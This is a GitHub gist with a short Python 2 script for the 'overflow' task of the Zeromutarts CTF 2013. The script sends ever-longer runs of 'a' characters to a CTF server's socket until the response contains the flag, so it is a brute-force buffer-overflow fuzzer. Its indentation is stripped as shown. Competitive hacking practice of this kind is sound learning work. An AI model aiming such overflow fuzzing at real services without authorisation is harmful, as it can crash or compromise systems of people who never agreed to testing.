Skip to content

Instantly share code, notes, and snippets.

@trietptm
Created November 2, 2013 14:41
Show Gist options
  • Save trietptm/7279575 to your computer and use it in GitHub Desktop.
Save trietptm/7279575 to your computer and use it in GitHub Desktop.
overflow Zeromutarts CTF 2013 via network - Buffer Overflow fuzzing on Linux http://zeromutarts.de/task/overflow http://zeromutarts.de/res/overflow_redacted.c
import socket, subprocess,os,commands
for i in xrange(1000,1500):
data = 'a'*i + '\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('spacenet.stratum0.net', 5555))
data_received = s.recv(4096)
s.send(data)
data = s.recv(4096)
if 'flag' in data:
print i
print data + '\n'
filehandle = open('result.txt', 'a')
filehandle.write(str(i) + '\n' + data + '\n')
filehandle.close()
break
data = s.recv(4096)
if 'flag' in data:
print i
print data + '\n'
filehandle = open('result.txt', 'a')
filehandle.write(str(i) + '\n' + data + '\n')
filehandle.close()
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment